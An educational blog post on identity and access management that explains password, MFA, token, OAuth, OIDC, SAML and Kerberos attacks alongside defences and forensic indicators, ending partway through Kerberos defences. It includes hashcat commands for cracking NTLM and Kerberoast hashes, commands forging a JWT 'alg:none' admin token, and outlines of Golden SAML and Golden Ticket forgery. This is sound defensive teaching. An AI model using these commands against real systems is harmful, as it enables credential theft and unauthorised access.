DEV Community: Rençber AKMAN

Identity Authentication and Access Management (IAM)

Rençber AKMAN — Sun, 28 Jun 2026 14:06:33 +0000

Why This Module Matters
Foundations: Identity, Authentication, Authorization
Password Policies
Multi-Factor Authentication (MFA)
Biometric Authentication
Token-Based Authentication
OAuth 2.0
OpenID Connect (OIDC)
SAML
Kerberos
NTLM
Single Sign-On (SSO)
Privileged Access Management (PAM)
The Missing Layer: Directory Services & Identity Federation Architecture
OT/ICS-Wide Identity Considerations
Module Summary Table
Navigation

1. Why This Module Matters

Identity is the new perimeter. Firewalls fail, network segmentation fails, but the single most consistent root cause across breach reports for the last decade is compromised credentials and broken access logic.

Concrete evidence, not theory:

Colonial Pipeline (May 2021) — the attacker entered through a single compromised VPN account that had no MFA enabled and was tied to a password reused from another breach. The result: 5,500 miles of pipeline shut down, fuel shortages across the U.S. East Coast, and a $4.4M ransom payment. This is the canonical IT-to-OT pivot case study and it starts entirely in the IAM layer.
Uber (2022) — an attacker bought a contractor's stolen credentials, defeated MFA via MFA fatigue (repeated push-notification spam until the victim approved one), and walked into Uber's internal Slack, AWS console, and source code repos.
Microsoft Exchange "Golden SAML" style attacks and the SolarWinds/Sunburst campaign (2020) — attackers forged SAML tokens after compromising an ADFS signing certificate, granting themselves authentication into any federated service, including Microsoft 365, without ever touching a password.
Kerberoasting and Pass-the-Hash are present in the overwhelming majority of post-exploitation phases in enterprise ransomware intrusions documented in Mandiant's M-Trends and CrowdStrike's Global Threat Reports, year after year.
NotPetya (2017) spread laterally inside Maersk and Merck largely via NTLM relay and stolen domain admin credentials, causing over $10 billion in global damage — making it, to date, one of the most expensive uses of broken authentication in history.

Career relevance: IAM is the single domain where identity architects, red teamers, blue teamers, auditors, and OT security engineers all need the same foundational knowledge, just applied differently. A penetration tester without deep Kerberos/NTLM knowledge cannot operate in a Windows domain. A SOC analyst without OAuth/SAML knowledge cannot triage a cloud account-takeover. An OT engineer without PAM knowledge cannot defend a Safety Instrumented System from an insider or a compromised vendor laptop.

Retain this: Every major breach you will study in this entire roadmap touches IAM at least once — either as the initial access vector or as the mechanism of lateral movement. Master this module and you understand the connective tissue of nearly all intrusions.

2. Foundations: Identity, Authentication, Authorization

Before any protocol, three words must be permanently distinct in your mind:

Term	Question it answers	Example
Identity	Who/what are you claiming to be?	`jdoe@corp.local`
Authentication (AuthN)	Can you prove that claim?	Password + OTP code
Authorization (AuthZ)	What are you allowed to do once proven?	"Can read Finance share, cannot write to Domain Admins"

   IDENTITY            AUTHENTICATION            AUTHORIZATION
  "I am jdoe"    -->   "Prove it: password +  -->  "OK, you may
                          OTP code"                  access /finance,
                                                      read-only"

Most breaches occur not because authentication failed cryptographically, but because the authorization model was flat, over-permissioned, or never reviewed after authentication succeeded. Keep this distinction precise — it will resurface in every section below.

A fourth, frequently omitted, concept:

Accounting / Auditing (AAA's third "A") — every authentication and authorization decision must be logged immutably. Without this, forensic reconstruction of an incident is impossible. This is your bridge to Module 2.x on logging and SIEM, and it is non-negotiable in OT environments where safety and liability are at stake.

3. Password Policies

3.1 First Principles

A password is a shared secret. Its security rests entirely on two properties: entropy (how hard it is to guess/brute-force) and secrecy (whether it has been disclosed, reused, or stored insecurely). Everything else — length rules, rotation rules, complexity rules — is an attempt to engineer those two properties at scale across a population of humans who are bad at generating randomness.

3.2 How Passwords Are Actually Attacked

┌─────────────────┬──────────────────────────────────────────┐
│ Attack Class     │ Mechanism                                │
├─────────────────┼──────────────────────────────────────────┤
│ Online brute     │ Repeated login attempts against a live   │
│ force            │ service (slow, noisy, rate-limited)       │
│ Offline crack    │ Attacker has the hash (e.g. from a dump) │
│                   │ and brute-forces/dictionary-attacks it    │
│                   │ with zero rate limit, using GPUs          │
│ Credential        │ Reusing leaked username:password pairs    │
│ stuffing          │ from unrelated breaches (Have I Been      │
│                   │ Pwned-class data) against your service    │
│ Password spraying │ Trying ONE common password against MANY  │
│                   │ accounts to stay under lockout thresholds │
└─────────────────┴──────────────────────────────────────────┘

Password spraying is the technique behind numerous nation-state intrusions (APT28/Fancy Bear has used it extensively against Microsoft 365 tenants). It defeats naive "5 failed attempts = lockout" policies because each individual account only sees one or two attempts.

3.3 Offline Cracking in Practice

If an attacker dumps /etc/shadow on Linux or the NTDS.dit database on a Windows Domain Controller, they own the hashes. Speed depends entirely on hash algorithm:

# Hashcat benchmark example — illustrates why algorithm choice matters enormously
hashcat -b -m 1000   # -b = benchmark mode, -m 1000 = NTLM hash type
hashcat -b -m 1800   # -m 1800 = sha512crypt (Linux shadow, modern)

NTLM (MD4-based, unsalted) can be brute-forced at tens of billions of hashes/second on modern GPUs. bcrypt/argon2-hashed passwords can be brute-forced at only thousands per second because they are deliberately slow (memory-hard / CPU-hard by design). This single fact is why modern password storage MUST use bcrypt, scrypt, or Argon2 — never MD5, SHA-1, or unsalted SHA-256.

# Dictionary + rule-based attack against a captured NTLM hash list
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule
# -m 1000  : hash mode = NTLM
# -a 0     : attack mode = straight dictionary
# -r ...   : apply mangling rules (case, leetspeak, append digits) to each
#            dictionary word, multiplying effective coverage

3.4 What Modern Policy Actually Should Say

NIST SP 800-63B (the de facto modern standard) explicitly reversed decades of bad advice:

Old (bad) guidance	Modern (NIST 800-63B) guidance
Force rotation every 90 days	Rotate only on evidence of compromise
Require special chars/mixed case	Require length (≥8, recommend 15+) over complexity
Block password managers	Encourage them
No reuse check	Screen against known-breached password lists

# Example: checking a password against the Pwned Passwords k-anonymity API
# (never send the full password — only a SHA-1 prefix, preserving privacy)
PW_HASH=$(echo -n "P@ssw0rd123" | sha1sum | cut -d' ' -f1 | tr 'a-z' 'A-Z')
PREFIX=${PW_HASH:0:5}
SUFFIX=${PW_HASH:5}
curl -s "https://api.pwnedpasswords.com/range/$PREFIX" | grep -i "$SUFFIX"
# If a match is returned, the password has appeared in a known breach corpus

3.5 Defensive Controls

Enforce length minimums, not arbitrary complexity.
Enforce breach-list screening at creation/change time.
Enforce account lockout / adaptive throttling tuned to defeat spraying (e.g., lock per-IP and per-account velocity, not just per-account count).
Store with Argon2id (preferred), bcrypt, or scrypt — with per-user random salts and a server-side secret pepper where feasible.
Never log raw passwords, even in debug/error paths — this is a recurring real-world finding (Facebook, 2019: hundreds of millions of plaintext passwords found in internal logs).

3.6 Forensic Evidence

Failed login storms in Security.evtx (Event ID 4625 on Windows), /var/log/auth.log on Linux, and authentication gateway logs are your primary spray/brute-force indicators. Look for one source IP/user-agent hitting many distinct usernames with low per-account attempt counts — that signature is spraying, not brute force.

3.7 OT/ICS Perspective

Many PLC/HMI/engineering workstation accounts ship with vendor-default credentials (e.g., historically documented defaults for Siemens, Schneider, Rockwell HMIs) that are never rotated because operations teams fear downtime from a lockout. Shodan-indexed ICS devices with default creds remain discoverable to this day. Never apply IT lockout policies blindly to OT — a locked-out HMI account during a process upset can be more dangerous than the credential risk itself; compensate instead with strict network segmentation and PAM session brokering (Section 13).

Retain this: Password strength is irrelevant if the storage hash is weak, and policy is irrelevant if it ignores the realistic attack — spraying, not brute force, is what breaches you.

4. Multi-Factor Authentication (MFA)

4.1 First Principles

MFA requires proof from two or more independent factor categories:

1) Something you KNOW   — password, PIN
2) Something you HAVE   — phone, hardware token, smart card
3) Something you ARE    — fingerprint, face, iris
4) Somewhere you ARE    — geolocation/network context (increasingly used as a signal)

Two passwords is not MFA. A password + a security question is not MFA (both are "something you know"). This distinction is tested constantly in compliance audits and interviews — know it cold.

4.2 MFA Mechanisms, Ranked by Resistance to Modern Attacks

WEAKEST ─────────────────────────────────────────────► STRONGEST
SMS OTP   Email OTP   TOTP App   Push Notification   FIDO2/WebAuthn (hardware)

SMS OTP — vulnerable to SIM swapping (social-engineering a carrier to port a victim's number) and SS7 protocol interception. Numerous celebrity/crypto-wallet account takeovers (e.g., widely documented Twitter/X account hijacks, 2019–2021) trace back to SIM swap attacks defeating SMS MFA.
TOTP (Time-based One-Time Password, RFC 6238) — a shared secret seed plus the current time window generates a 6-digit code. Stronger than SMS (no carrier dependency) but the seed can be phished via real-time relay (adversary-in-the-middle).
Push notification MFA — vulnerable to MFA fatigue / push bombing: an attacker with a valid password spams push approvals until the victim taps "approve" out of annoyance or confusion. This is exactly the technique used in the Uber 2022 and several Lapsus$ group intrusions.
FIDO2/WebAuthn hardware keys (YubiKey, etc.) — cryptographically bind the authentication to the specific origin domain, making them phishing-resistant. Even if a user is tricked onto evil-microsoft-login.com, the hardware key will refuse to sign the challenge because the origin doesn't match.

4.3 Attack Tooling You Must Know

Evilginx2 — a reverse-proxy phishing framework that sits between victim and real login page, harvesting session cookies in real time, which defeats TOTP and push MFA (it doesn't need the password — it steals the post-auth session token).
Modlishka — similar adversary-in-the-middle (AiTM) phishing proxy.

# Conceptual illustration of why AiTM defeats OTP/push MFA (NOT an executable exploit):
# Victim -> evil proxy (looks identical to real site) -> real site
# Victim enters password + OTP on the FAKE page
# Proxy relays both to the REAL site in real time
# Proxy captures the resulting authenticated SESSION COOKIE
# Attacker replays that cookie — MFA was satisfied, but for the ATTACKER's session

This is precisely why FIDO2/WebAuthn is the recommended end-state: it cryptographically verifies the origin, so the proxy relay breaks.

4.4 Defensive Controls

Mandate FIDO2/WebAuthn or certificate-based smart cards for privileged and remote-access accounts.
Disable SMS MFA for any account with elevated privilege.
Implement number-matching push MFA (Microsoft Authenticator's "enter the number shown on screen" mode) to blunt fatigue attacks — it doesn't fully solve AiTM, but it eliminates blind-tap approval.
Rate-limit and alert on repeated push prompts to the same user within a short window — a strong fatigue-attack indicator.
Conditional Access / risk-based policies: block or challenge logins from impossible-travel locations, new devices, or anomalous ASN ranges.

4.5 Forensic Evidence

Azure AD/Entra ID Sign-in logs show MFA Satisfied vs. MFA Denied counts per session and per user — a burst of denied/cancelled push attempts followed by one approval within seconds is the fatigue-attack signature. AiTM compromises leave a tell-tale anomaly: the authenticating IP differs from the IP later using the resulting session token.

4.6 OT/ICS Perspective

Air-gapped or "logically isolated" OT networks frequently have zero MFA on engineering workstations because vendors historically didn't support it and operators view it as a usability tax during emergency response. The compensating architecture (Section 13) is to put MFA at the jump-server/PAM boundary between IT and OT rather than inside the OT network itself — this preserves emergency operability inside the OT zone while still gating the crossing point.

Retain this: MFA defeats password theft, not session theft. If you don't also defend against AiTM phishing and push fatigue, your "MFA-protected" account is still one click away from compromise.

5. Biometric Authentication

5.1 First Principles

Biometrics authenticate based on a measured physical or behavioral trait — fingerprint ridges, iris patterns, facial geometry, gait, typing cadence. Critically: a biometric is an identifier, not a secret. Your fingerprint is on every glass you touch; your face is in thousands of photos. This single fact reframes the entire threat model — biometrics are strong against remote credential theft but weak against physical spoofing and irrevocability.

5.2 How Matching Works Internally

ENROLLMENT:  raw biometric --> feature extraction --> template (NOT the raw image)
                                                       --> stored, ideally on-device
                                                           in a Secure Enclave/TPM

VERIFICATION: live capture --> feature extraction --> compare against stored
                                                        template --> match score
                                                        --> accept if score > threshold

Two error rates define system quality:

FAR (False Accept Rate) — probability an impostor is wrongly accepted.
FRR (False Reject Rate) — probability a legitimate user is wrongly rejected. These trade off against each other via the match threshold — this is the same precision/recall tradeoff you'll see in any classifier, and it is exploitable: an attacker tunes spoof quality to land just inside the FAR tolerance.

5.3 Documented Attacks

Chaos Computer Club (2017) demonstrated bypassing Samsung Galaxy S8 iris recognition using a printed photo of the iris plus a contact lens to add curvature/reflection.
Fingerprint spoofing via lifted latent prints reconstructed in silicone or wood glue — demonstrated repeatedly against capacitive sensors lacking liveness detection.
Presentation attacks against face recognition using photos, masks, or deepfake video injected into the camera feed — this is why modern systems require liveness detection (blink, depth-sensing via structured light/ToF, challenge-response).

5.4 Defensive Controls

Use sensors with liveness/anti-spoofing detection (depth sensing, blood-flow/pulse detection, infrared).
Store templates on-device in a hardware-backed secure enclave, never as raw biometric data on a central server — a centralized biometric database is a catastrophic, unrevocable breach if compromised (you can reset a password; you cannot reset your fingerprint).
Always pair biometrics with a second independent factor for high-value actions — biometric-as-sole-factor is convenience-tier security, not assurance-tier.
Apply template encryption and integrity binding to the specific device hardware to prevent template extraction-and-replay.

5.5 Forensic Evidence

Biometric authentication events typically log only match/no-match plus the device's secure enclave attestation — raw biometric data should never appear in logs (and if it does, that itself is a serious compliance and security failure to flag). Repeated low-confidence "near-miss" match attempts in short succession are a spoof-attempt indicator.

5.6 OT/ICS Perspective

Biometric access control is increasingly used for physical access to control rooms and safety-critical cabinets, not network login. The forensic implication for OT incident response: tie physical badge/biometric access logs to the SCADA/HMI session logs — a documented technique in insider-threat investigations is correlating "who was physically present" against "what commands were issued" during the incident window.

Retain this: Biometrics authenticate identity, not secrecy — design every biometric system assuming the trait itself will eventually be duplicated, and ensure liveness detection plus a second factor carry the real security weight.

6. Token-Based Authentication

6.1 First Principles

A token is a piece of data, issued after successful authentication, that the client presents on subsequent requests instead of re-sending credentials. This is the foundational shift away from sessions stored server-side per request, toward bearer-based, often stateless, authentication — and it underlies OAuth, OIDC, JWTs, and API security broadly.

6.2 Stateful vs. Stateless Tokens

STATEFUL (Session ID)               STATELESS (JWT)
─────────────────────               ────────────────
Server stores session in DB         Server signs a self-contained token
Client holds only an opaque ID      Client holds the full claims, signed
Revocation: delete server record    Revocation: HARD (must blacklist or
                                     use short expiry + refresh)
Scales poorly across many servers   Scales horizontally with ease

6.3 Anatomy of a JWT (JSON Web Token)

header.payload.signature

eyJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiJqZG9lIiwicm9sZSI6ImFkbWluIn0 . sX...signature

Decoded header:   {"alg": "HS256", "typ": "JWT"}
Decoded payload:  {"sub": "jdoe", "role": "admin", "exp": 1735689600}

6.4 The Critical Vulnerability Class: `alg=none` and Algorithm Confusion

# Demonstrating the classic JWT "alg:none" bypass concept (CVE-class issue,
# affected numerous poorly-implemented JWT libraries circa 2015-2017)
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0       # forged header
echo -n '{"sub":"admin","role":"admin"}' | base64 -w0   # forged payload
# Result: header.payload. (empty signature)
# A vulnerable verifier that trusts the client-supplied 'alg' field will
# accept this with ZERO valid signature, granting admin claims outright.

A related class: RS256-to-HS256 algorithm confusion, where an attacker takes a server's known-public RSA key and resigns a token using HS256 with that public key string as the HMAC secret — if the verifier doesn't strictly pin the expected algorithm, it will accept the forged HMAC signature.

6.5 Defensive Controls

Pin the expected algorithm server-side — never trust the alg header from the token itself.
Keep token lifetimes short (minutes, not days) and pair with refresh tokens that ARE revocable server-side.
Store sensitive tokens in httpOnly, Secure, SameSite cookies — never in localStorage, which is trivially exfiltrated by any XSS.
Implement token binding (tying a token to a TLS channel or device fingerprint) for high-assurance use cases.

# Inspecting a JWT quickly without trusting any tooling that auto-verifies
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqZG9lIn0.xxx"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null   # decode header
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null   # decode payload

6.6 Forensic Evidence

Look for tokens with unexpectedly long lifetimes, tokens issued with alg values outside your expected set, and replay of the same token from multiple distinct IP/geolocation pairs in a short window — the latter is a strong session/token theft indicator.

6.7 OT/ICS Perspective

Modern OT cloud-connectivity platforms (vendor remote-monitoring portals, digital twin platforms) increasingly issue API tokens to field gateways. A leaked, long-lived, unscoped token to a cloud telemetry API can become a pivot point into the vendor's broader tenant — treat every OT-to-cloud integration token with the same scrutiny as a privileged credential, and scope tokens to the minimum API surface the device actually needs.

Retain this: A stolen valid token is functionally equivalent to a stolen password — but often invisible to password-rotation policies. Short lifetimes and strict algorithm pinning are what make tokens safe.

7. OAuth 2.0

7.1 First Principles — OAuth Is Authorization, Not Authentication

This is the single most common misconception in the industry: OAuth 2.0 was designed to delegate authorization (access to resources), not to prove identity. "Login with Google" feels like authentication, but raw OAuth alone doesn't standardize who the user is — that gap is exactly what OpenID Connect (Section 8) was built to close.

7.2 The Four Roles

┌──────────────┐      ┌──────────────────┐
│   Resource    │      │  Authorization    │
│   Owner       │      │  Server            │
│  (the user)   │      │ (e.g. accounts.    │
└──────┬───────┘      │  google.com)       │
       │               └────────┬──────────┘
       │ grants consent          │ issues token
       ▼                         ▼
┌──────────────┐      ┌──────────────────┐
│   Client      │◄────►│  Resource         │
│ (3rd-party app)│      │  Server            │
│               │      │ (e.g. Google Drive │
│               │      │  API)              │
└──────────────┘      └──────────────────┘

7.3 The Authorization Code Flow (the only flow you should use for web apps)

1. Client redirects user to Authorization Server:
   GET https://auth.example.com/authorize?
       response_type=code
       &client_id=abc123
       &redirect_uri=https://app.example.com/callback
       &scope=read:profile
       &state=xyz789RANDOM      # CSRF protection — MUST be unguessable
       &code_challenge=BASE64URL(SHA256(code_verifier))   # PKCE
       &code_challenge_method=S256

2. User authenticates + consents at Authorization Server.

3. Authorization Server redirects back:
   GET https://app.example.com/callback?code=AUTH_CODE&state=xyz789RANDOM

4. Client exchanges code for token (server-to-server, NOT browser-visible):
   POST https://auth.example.com/token
       grant_type=authorization_code
       &code=AUTH_CODE
       &redirect_uri=https://app.example.com/callback
       &client_id=abc123
       &client_secret=SECRET
       &code_verifier=ORIGINAL_RANDOM_STRING   # PKCE proof

5. Authorization Server returns:
   { "access_token": "...", "refresh_token": "...", "expires_in": 3600 }

7.4 PKCE — Why It Exists

PKCE (Proof Key for Code Exchange, RFC 7636) was introduced because the authorization code, transmitted via browser redirect, can be intercepted (malicious app on the same mobile device registering the same custom URI scheme, or a referrer leak). PKCE binds the code exchange to a secret (code_verifier) only the legitimate client holds, so an intercepted code alone is useless without it. PKCE is now mandatory best practice for all client types, not just public/mobile clients.

7.5 Documented Real-World OAuth Vulnerabilities

Open Redirect via redirect_uri — if the authorization server doesn't strictly validate the redirect URI against an exact allow-list, an attacker can register https://app.example.com.attacker.com/callback or exploit a loose wildcard match, redirecting the authorization code straight to themselves.
CVE-2022-31093 (Keycloak) and various other IdP-specific OAuth/OIDC redirect validation flaws over the years have allowed token/code theft via crafted redirect URIs.
state parameter omission — enables CSRF login attacks where an attacker tricks a victim into completing an OAuth flow that links the attacker's third-party account to the victim's session.

# Conceptual detection: searching IdP logs for authorization requests
# with redirect_uri values OUTSIDE the registered allow-list
grep "redirect_uri=" auth_server.log | grep -v "app.example.com/callback"

7.6 Defensive Controls

Exact-match allow-listing of redirect URIs — never substring or wildcard match.
Always require and validate state to prevent CSRF.
Always use PKCE, even for confidential (server-side) clients.
Use the least-privilege scope requested — never request broader scopes than the integration needs.
Treat client_secret as a credential: rotate it, never commit it to source control (a chronic real-world finding in public GitHub repos via automated secret-scanning).

7.7 Forensic Evidence

Authorization-server logs should show the full redirect_uri, scope, and client_id per grant. An anomaly to hunt: a token issued with a scope broader than the client's registered/expected scope set, or a sudden spike in token requests from a single client_id across many distinct user accounts (credential-stuffing-style abuse of a third-party OAuth app).

7.8 OT/ICS Perspective

OAuth increasingly governs access between OT vendor cloud platforms and enterprise SSO (e.g., a turbine vendor's remote diagnostics portal federating into the customer's IdP). The risk: an over-broad scope granted to a vendor integration can become a standing, often-forgotten bridge between corporate identity and OT vendor cloud infrastructure. Audit OAuth app consent grants in your tenant specifically for OT-vendor applications on a recurring schedule — these are rarely reviewed after initial setup.

Retain this: OAuth tells you what a token can do; it never by itself tells you who the user is. Confusing authorization with authentication is the root cause of an entire category of "Login with X" vulnerabilities.

8. OpenID Connect (OIDC)

8.1 First Principles

OIDC is a thin identity layer built on top of OAuth 2.0. It adds one critical artifact OAuth never defined: the ID Token, a signed JWT that asserts who the user is, alongside the OAuth access token that governs what the client may do.

OAuth 2.0 alone:           access_token   →  "you may call this API"
OAuth 2.0 + OIDC:          access_token   →  "you may call this API"
                           id_token (JWT) →  "this user is jdoe@corp.com,
                                              authenticated at time T,
                                              by issuer https://idp.corp.com"

8.2 ID Token Structure (Decoded)

{
  "iss": "https://idp.corp.com",
  "sub": "9f8e7d6c-...",
  "aud": "client-app-id",
  "exp": 1735693200,
  "iat": 1735689600,
  "nonce": "n-0S6_WzA2Mj",
  "email": "jdoe@corp.com",
  "email_verified": true
}

Critical fields a defender must validate (and that vulnerable implementations historically skipped):

iss — is this issuer the one you trust?
aud — was this token actually issued for your client, not stolen from a different client of the same IdP?
exp/iat — is it within validity window?
nonce — matches the one your client generated, preventing replay of a stale ID token.

8.3 Documented Vulnerability Pattern: Missing `aud` Validation

If a relying party fails to check aud, an attacker who legitimately obtained an ID token for a different, less-trusted client application of the same IdP can replay that token against the higher-trust application — because the IdP's signature is valid, just not meant for this audience. This exact class of bug has appeared repeatedly across OIDC library implementations and is a standard finding in IAM security assessments.

8.4 Discovery and JWKS — How Trust Is Established at Scale

# OIDC discovery document — published at a well-known URL, tells clients
# everything they need: token endpoint, issuer, supported scopes, and
# crucially, the JWKS URI for signature verification keys
curl -s https://idp.corp.com/.well-known/openid-configuration | jq .

# Example relevant fields returned:
# {
#   "issuer": "https://idp.corp.com",
#   "authorization_endpoint": "https://idp.corp.com/authorize",
#   "token_endpoint": "https://idp.corp.com/token",
#   "jwks_uri": "https://idp.corp.com/.well-known/jwks.json"
# }

# Fetching the actual public signing keys to verify ID token signatures
curl -s https://idp.corp.com/.well-known/jwks.json | jq .

8.5 Defensive Controls

Validate every claim — iss, aud, exp, nonce, signature — never trust just signature validity alone.
Rotate signing keys regularly and always fetch them live from jwks_uri, never hardcode a key.
Use the nonce parameter on every authorization request to prevent ID token replay.
Restrict which IdPs/issuers are trusted via an explicit allow-list — never accept "any valid JWT from anywhere."

8.6 Forensic Evidence

ID token validation failures (bad aud, expired exp, signature mismatch) should be logged and alerted distinctly from generic auth failures — a spike in aud mismatches across many requests suggests active token replay/confusion attack attempts against your relying party.

8.7 OT/ICS Perspective

OIDC underlies most modern cloud-based ICS/SCADA HMI access portals (vendors increasingly offer browser-based HMI access federated through OIDC). Validate that these portals enforce strict aud and iss checks — a misconfigured OT vendor portal accepting tokens broadly scoped to "any corporate user" rather than the specific OT-access group is a documented category of finding in OT security assessments.

Retain this: OIDC's ID token answers "who," OAuth's access token answers "what" — verifying only the token signature without checking iss/aud/nonce is equivalent to checking a passport's hologram but never reading the name on it.

9. SAML

9.1 First Principles

SAML (Security Assertion Markup Language) is an XML-based standard for exchanging authentication and authorization assertions between an Identity Provider (IdP) and a Service Provider (SP). It predates OAuth/OIDC and remains dominant in large enterprise SSO (Okta, Active Directory Federation Services / ADFS, PingFederate) because of its maturity and strong enterprise tooling support.

9.2 The SP-Initiated Flow

 User           Service Provider (SP)        Identity Provider (IdP)
  │                     │                            │
  │── access app ──────►│                             │
  │                     │── AuthnRequest (redirect) ─►│
  │◄─────────── redirected to IdP login ──────────────┤
  │── credentials ─────────────────────────────────────►│
  │                     │     IdP authenticates user   │
  │◄──── SAML Response (signed XML Assertion) ──────────┤
  │── POST assertion ──►│                             │
  │                     │  SP validates signature,     │
  │                     │  trusts assertion, logs in   │

9.3 Anatomy of a SAML Assertion (Simplified)

<saml:Assertion ID="_a1b2c3" IssueInstant="2026-06-28T10:00:00Z">
  <saml:Issuer>https://idp.corp.com</saml:Issuer>
  <saml:Subject>
    <saml:NameID>jdoe@corp.com</saml:NameID>
  </saml:Subject>
  <saml:Conditions NotBefore="..." NotOnOrAfter="...">
    <saml:AudienceRestriction>
      <saml:Audience>https://app.example.com</saml:Audience>
    </saml:AudienceRestriction>
  </saml:Conditions>
  <ds:Signature>...</ds:Signature> <!-- XML digital signature -->
</saml:Assertion>

9.4 Golden SAML — The Most Important Attack in This Section

Golden SAML is to SAML what Golden Ticket (Section 10) is to Kerberos. If an attacker compromises the IdP's private signing key/certificate (e.g., the ADFS token-signing certificate), they can forge arbitrary SAML assertions offline, impersonating any user, with any attributes, for any service provider, without ever touching the real IdP, leaving no IdP-side authentication log.

This is exactly what investigators concluded happened in the SolarWinds/Sunburst breach (2020): APT29 (Cozy Bear) extracted ADFS signing material from compromised environments and minted forged SAML tokens to access Microsoft 365 and other federated cloud services as any user they chose — entirely bypassing MFA, because MFA had already been satisfied "upstream" in the forged assertion's trust chain.

# Conceptual structure of a Golden SAML forgery (illustrative, not exploit code):
# 1. Attacker extracts the IdP's private signing certificate (e.g. from
#    AD FS server's certificate store or DKM container in AD)
# 2. Attacker crafts an arbitrary SAML assertion XML naming any user/claims
# 3. Attacker signs that XML with the stolen private key
# 4. Attacker submits the forged, validly-signed assertion directly to the SP
# 5. SP validates signature against the IdP's known public cert --> SUCCEEDS
#    because the signature IS cryptographically valid, just illegitimately produced

9.5 XML-Specific Attack Classes

XML Signature Wrapping (XSW) — exploiting parsers that validate the signature against one part of the XML document tree but then process a different, attacker-modified part, effectively smuggling forged claims past a technically-valid signature.
XXE (XML External Entity) injection — if the SP's XML parser resolves external entities, an attacker can exfiltrate local files or trigger SSRF via a crafted assertion.

9.6 Defensive Controls

Protect the IdP signing key like a root CA private key — hardware security module (HSM) storage, strict access control, key rotation, and dedicated monitoring of the certificate store/DKM container.
Always validate AudienceRestriction, NotBefore/NotOnOrAfter, and the assertion's Issuer — never accept an otherwise-valid-signature assertion outside its intended audience or time window.
Use schema-validating, hardened XML parsers that disable external entity resolution by default.
Monitor for IdP signing certificate export/access events (e.g., Windows Event ID 4662 against the ADFS DKM container) as a critical, rare, high-fidelity alert.

9.7 Forensic Evidence

The chilling property of Golden SAML is that forged assertions generate no corresponding authentication event at the real IdP — your hunting target shifts to the Service Provider's logs: an assertion accepted with no matching upstream IdP sign-in event is the core indicator. Also monitor for anomalous NotOnOrAfter windows far outside policy norms, suggesting a hand-crafted (not naturally issued) assertion.

9.8 OT/ICS Perspective

Large industrial operators frequently federate OT vendor support portals and engineering-cloud platforms through the same corporate ADFS/SAML IdP used for everything else. A Golden SAML compromise at the corporate IdP therefore can directly cascade into OT-adjacent vendor platforms — this is a strong architectural argument for a separate, isolated IdP trust boundary for anything touching OT vendor federation, rather than a single flat corporate-wide IdP trust.

Retain this: A valid cryptographic signature proves the assertion was signed by the holder of that key — it proves nothing about whether that signing event was legitimate. Protecting the signing key is more important than any single control downstream of it.

10. Kerberos

10.1 First Principles

Kerberos is a ticket-based authentication protocol built on symmetric cryptography and a trusted third party (the Key Distribution Center, KDC). Its core innovation: a user proves their identity once and receives a ticket usable to access multiple services without re-sending their password, and without the service itself ever learning the password.

10.2 The Three Heads of Kerberos (named for Cerberus, the three-headed guard dog)

   Client            KDC: Authentication       KDC: Ticket Granting
                      Server (AS)                Service (TGS)
     │                     │                          │
     │── AS-REQ (user) ───►│                           │
     │◄── AS-REP (TGT) ────┤                           │
     │                     │                           │
     │── TGS-REQ (TGT, target service) ───────────────►│
     │◄── TGS-REP (Service Ticket) ─────────────────────┤
     │                                                  │
     │── AP-REQ (Service Ticket) ──► Target Service     │
     │◄── AP-REP (mutual auth) ─────                    │

AS-REQ/AS-REP — client requests a Ticket Granting Ticket (TGT), encrypted with a key derived from the user's password hash (for the krbtgt-related secret) — this is the initial authentication.
TGT — proves "this user authenticated successfully" without needing to re-prove the password for every subsequent request, typically valid ~10 hours by default in AD environments.
TGS-REQ/TGS-REP — client presents the TGT to request a Service Ticket for a specific resource (e.g., a file server), encrypted with that service's own secret key, derived from the service account's password hash.
AP-REQ — client presents the Service Ticket directly to the target service, which decrypts it with its own key and grants access — the service never talks to the KDC directly per request and never sees the user's password.

10.3 Golden Ticket Attack

If an attacker compromises the krbtgt account's password hash (the domain-wide secret used to encrypt all TGTs), they can forge a TGT for any user, including non-existent users, with any group membership, with any lifetime — entirely offline, without contacting a Domain Controller at forgery time. This is complete and unrecoverable domain authentication compromise unless the krbtgt password is reset (twice, due to password-history-based ticket validity).

# Conceptual flow (Mimikatz-style tooling, real technique, name only — not
# operational exploit code):
1. Attacker achieves Domain Admin (or DCSync rights) once.
2. Attacker extracts the krbtgt account's NTLM hash via DCSync
   (replicating AD secrets through legitimate replication APIs, abused).
3. Attacker forges a TGT offline using that hash for arbitrary identity/groups.
4. Forged TGT is accepted by any DC indefinitely, until krbtgt is rotated.

10.4 Silver Ticket Attack

Similar concept, but scoped to a single service — the attacker only needs that service account's password hash (not krbtgt), and forges a Service Ticket directly, bypassing the TGS step entirely. Narrower blast radius than Golden Ticket, but harder to detect because it never touches the KDC at all — TGS-REQ/TGS-REP events simply never occur.

10.5 Kerberoasting

Any authenticated domain user can request a Service Ticket for ANY
service principal in the domain — that's by design, not a bug.

Attacker requests Service Tickets for accounts with SPNs set
(commonly service accounts running databases, web apps, etc.)
   │
   ▼
Service Ticket is encrypted with the SERVICE ACCOUNT's password hash
   │
   ▼
Attacker takes that ticket OFFLINE and brute-forces it with hashcat —
no further domain interaction needed, no lockout risk, no further alerts

# Hashcat mode for Kerberos 5 TGS-REP etype 23 (RC4) — the classic
# Kerberoasting crack target, because RC4-encrypted tickets are crackable
# at high speed if the service account's password is weak
hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt
# -m 13100 : Kerberos 5 TGS-REP etype 23
# -a 0     : dictionary attack mode

This is precisely why service account password strength matters disproportionately — these accounts are frequently set once at deployment, never rotated, and often massively over-privileged.

10.6 Pass-the-Ticket

Stealing a valid TGT or Service Ticket directly from memory (e.g., via Mimikatz's sekurlsa::tickets) and injecting it into a different session/host to impersonate the victim without ever knowing their password — the ticket itself is the credential.

10.7 Defensive Controls

Rotate the krbtgt password twice, on a recurring schedule and immediately after any suspected Domain Admin compromise (rotating only once leaves the previous password's tickets valid through password history).
Enforce long, random passwords on service accounts (25+ characters) specifically to defeat Kerberoasting — or migrate to Group Managed Service Accounts (gMSA), whose passwords are automatically rotated and never human-known.
